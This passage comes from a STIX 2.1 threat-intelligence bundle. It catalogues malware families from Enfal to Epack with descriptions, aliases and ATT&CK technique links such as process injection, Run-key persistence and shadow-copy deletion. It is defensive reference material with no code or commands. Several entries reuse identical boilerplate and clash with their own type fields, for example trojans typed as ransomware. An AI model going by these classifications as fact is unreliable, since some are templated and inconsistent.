logs will show the creation of a suspicious Windows Service designed to launch a newly dropped DLL file. Memory analysis is often required to extract the hardcoded C2 infrastructure. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Enfal",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/enfal"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9621dcc8-32d2-5005-989f-30551fcda12f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--335f14ff-bf1e-53da-87b9-37adbee323ee",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enfal exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d703253-56e5-5985-bfb3-aee495f857d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--335f14ff-bf1e-53da-87b9-37adbee323ee",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enfal exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (HTTP C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d33e0d3e-879b-5d0c-bc41-38a59d93cb6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--335f14ff-bf1e-53da-87b9-37adbee323ee",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enfal exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb015d61-3fe7-5b03-ac6f-d0852724e0a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--335f14ff-bf1e-53da-87b9-37adbee323ee",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enfal exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a8c93723-94e0-5792-bfc5-d52de3701bae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Enigma",
      "description": "Enigma (classified as Ransom:Win32/Enigma and Trojan-Ransom.Win32.Enigma) is an advanced Windows crypto-ransomware family designed for rapid and devastating corporate extortion. Distributed through malicious email spam containing weaponized HTML attachments and compromised RDP connections, Enigma initiates execution by checking system language and locale settings to avoid infecting Commonwealth of Independent States (CIS) endpoints. It uses strong symmetric encryption (AES-128 in CBC mode or ChaCha20) combined with an embedded RSA public key to encrypt user files, appending .enigma to encrypted files. It generates comprehensive HTML ransom notes (enigma.html), deletes Volume Shadow Copies with vssadmin, and directs victims to a Tor negotiation portal. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Enigma",
        "Trojan-Ransom.Win32.Enigma",
        "Win32/Enigma",
        "Enigma Ransomware",
        "Ransom.Enigma"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Enigma",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/enigma"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c29d0eb-b3c9-56bd-9b58-e16860cec88f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8c93723-94e0-5792-bfc5-d52de3701bae",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enigma exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--316e2bb8-90e8-58bd-8ffd-6cff91fd32f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8c93723-94e0-5792-bfc5-d52de3701bae",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enigma exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4b62c31-e9ee-5d7c-a75c-99a62d579d93",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8c93723-94e0-5792-bfc5-d52de3701bae",
      "target_ref": "attack-pattern--abf165c6-7223-5077-a3ea-1854fa56e62b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enigma exhibits technique T1620 (Reflective Code Loading)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01617fb6-4fc2-589c-b755-28bcb0c31171",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8c93723-94e0-5792-bfc5-d52de3701bae",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enigma exhibits technique T1486 (Data Encrypted for Impact (Typical Payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--590f2004-62f6-5052-99a1-ad55fe668fe9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8c93723-94e0-5792-bfc5-d52de3701bae",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enigma exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--28788f76-b641-586d-b52d-973debeb3418",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Enigmaprotector",
      "description": "EnigmaProtector (cataloged across security vendors and threat intelligence databases under detections including Packer:Win32/EnigmaProtector, Trojan:Win32/EnigmaProtector, and Packer.Enigma) represents malicious software packaged and obfuscated using the commercial Enigma Protector tool suite. While marketed legitimately for software licensing and IP protection, Enigma Protector is extensively weaponized by threat actors to wrap trojans, infostealers, ransomware, and botnet droppers. Executables protected with Enigma feature advanced virtualization of critical x86/x64 assembly instructions, polymorphic entry-point code decryptors, dynamic import address table (IAT) reconstruction, anti-tampering memory checksums, and multi-layered anti-debugging routines that detect software and hardware breakpoints, API hooks, and virtualization hypervisors (VMware, VirtualBox, QEMU). (Observed samples in benchmark: 50)",
      "is_family": true,
      "malware_types": [
        "resource-exploitation"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Packer:Win32/EnigmaProtector",
        "Trojan:Win32/EnigmaProtector",
        "Packer.Enigma",
        "Win32/EnigmaProtector"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Enigmaprotector",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/enigmaprotector"
        }
      ],
      "labels": [
        "packer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77c183e8-1259-5b1e-be43-eadce4d8fdce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--28788f76-b641-586d-b52d-973debeb3418",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enigmaprotector exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa479fcb-3b5a-5364-b755-df13237402da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--28788f76-b641-586d-b52d-973debeb3418",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enigmaprotector exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--128d33c1-8ea0-5cde-8f69-a97fa300b34a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--28788f76-b641-586d-b52d-973debeb3418",
      "target_ref": "attack-pattern--abf165c6-7223-5077-a3ea-1854fa56e62b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enigmaprotector exhibits technique T1620 (Reflective Code Loading)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81733363-0838-51fd-9362-910ce38862b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--28788f76-b641-586d-b52d-973debeb3418",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enigmaprotector exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d37a4e17-caf0-5774-a215-b4c96f13940b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--28788f76-b641-586d-b52d-973debeb3418",
      "target_ref": "attack-pattern--cc77f11e-b255-5f7b-94cd-4cc31b548a03",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enigmaprotector exhibits technique T1129 (Shared Modules)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ed33463b-5896-536b-a26f-6b84b6a8ba31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Enistery",
      "description": "Trojan:Win32/Enistery is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Enistery</b><br>To an end-user, an Enistery infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Enistery is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Enistery is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Enistery frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Enistery reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Enistery",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/enistery"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--497d8dd2-942a-56c6-b3ec-be857d8db4cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed33463b-5896-536b-a26f-6b84b6a8ba31",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enistery exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1da7c4b-b0ad-5af0-9e21-18d8df5c2409",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed33463b-5896-536b-a26f-6b84b6a8ba31",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enistery exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7ce7898-617d-5b4f-b4a0-d04e91923848",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed33463b-5896-536b-a26f-6b84b6a8ba31",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enistery exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c23de4f5-8f74-572d-8511-b799da7b7d28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed33463b-5896-536b-a26f-6b84b6a8ba31",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enistery exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3d22262-15a8-5a8f-8637-74a6c3788138",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed33463b-5896-536b-a26f-6b84b6a8ba31",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enistery exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e4ccdd08-abad-5280-bf13-3d8f1ef9c734",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Enosch",
      "description": "Trojan:Win32/Enosch is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Enosch</b><br>To an end-user, a Enosch infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Enosch is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Enosch is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Enosch frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Enosch reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Enosch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/enosch"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e768b72c-684b-5e0c-983b-fea18f07556d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e4ccdd08-abad-5280-bf13-3d8f1ef9c734",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enosch exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f42a963-7680-58cb-be96-ecb8893e492e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e4ccdd08-abad-5280-bf13-3d8f1ef9c734",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enosch exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c521e3a1-324e-5a83-9f63-6292a29fcba1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e4ccdd08-abad-5280-bf13-3d8f1ef9c734",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enosch exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6882082c-ffeb-59e1-b6aa-b7d9ad965a48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e4ccdd08-abad-5280-bf13-3d8f1ef9c734",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enosch exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a7eb9f1-0728-5c56-bbb4-1d13114cad3d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e4ccdd08-abad-5280-bf13-3d8f1ef9c734",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Enosch exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--327372b7-b861-5e4e-a506-0b4a5e91d6a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Eorezo",
      "description": "EoRezo (cataloged across antimalware products as Adware:Win32/EoRezo, PUA:Win32/EORezo, and Adware.EoRezo) is a pervasive French adware platform and software bundler developed by the company Tuto4PC starting around 2011. Distributed extensively through deceptive software download portals, third-party software setup wrappers, and freeware video tutorial packages, EoRezo silently installs its background surveillance and ad-injection modules alongside legitimate programs. Once established, EoRezo creates persistent autostart services and scheduled tasks that run continuously, tracking user browsing habits, search queries, and application usage. The software routinely injects commercial advertising banners into visited web pages, triggers periodic desktop pop-up notifications, and redirects browser search queries through affiliate-monetized search engines, causing noticeable browser sluggishness and privacy degradation. (Observed samples in benchmark: 271)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/EoRezo",
        "PUA:Win32/EORezo",
        "Adware.EoRezo",
        "Win32/EoRezo",
        "Tuto4PC.EoRezo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Eorezo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/eorezo"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0548d2d-b0bf-5692-8895-9050d1f7e0fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--327372b7-b861-5e4e-a506-0b4a5e91d6a3",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eorezo exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e904f5f1-eec2-58e7-a03d-666b41778661",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--327372b7-b861-5e4e-a506-0b4a5e91d6a3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eorezo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be12ab84-46f8-54a9-bfac-713b93cf7662",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--327372b7-b861-5e4e-a506-0b4a5e91d6a3",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eorezo exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4d17c2a-1883-544d-91de-3e91e3452c28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--327372b7-b861-5e4e-a506-0b4a5e91d6a3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eorezo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f40ac972-3d11-5137-8d2f-c41c2d0dc26e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--327372b7-b861-5e4e-a506-0b4a5e91d6a3",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eorezo exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--67736ad0-14cd-5073-a396-5fa4067d2136",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Epack",
      "description": "Trojan:Win32/Epack is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Epack</b><br>To an end-user, an Epack infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Epack is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Epack is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Epack frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Epack reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Epack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/epack"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c294db2e-bdd4-5a3e-8a69-51b7b5fc7970",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67736ad0-14cd-5073-a396-5fa4067d2136",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Epack exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41128574-b4e7-5ba5-ac47-081aa059b980",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67736ad0-14cd-5073-a396-5fa4067d2136",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Epack exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc4b1edc-13b2-5c5c-a3be-687032b52eaa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67736ad0-14cd-5073-a396-5fa4067d2136",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Epack exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f4fb1c2-6538-5bf5-aae4-f961f130d3fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67736ad0-14cd-5073-a396-5fa4067d2136",
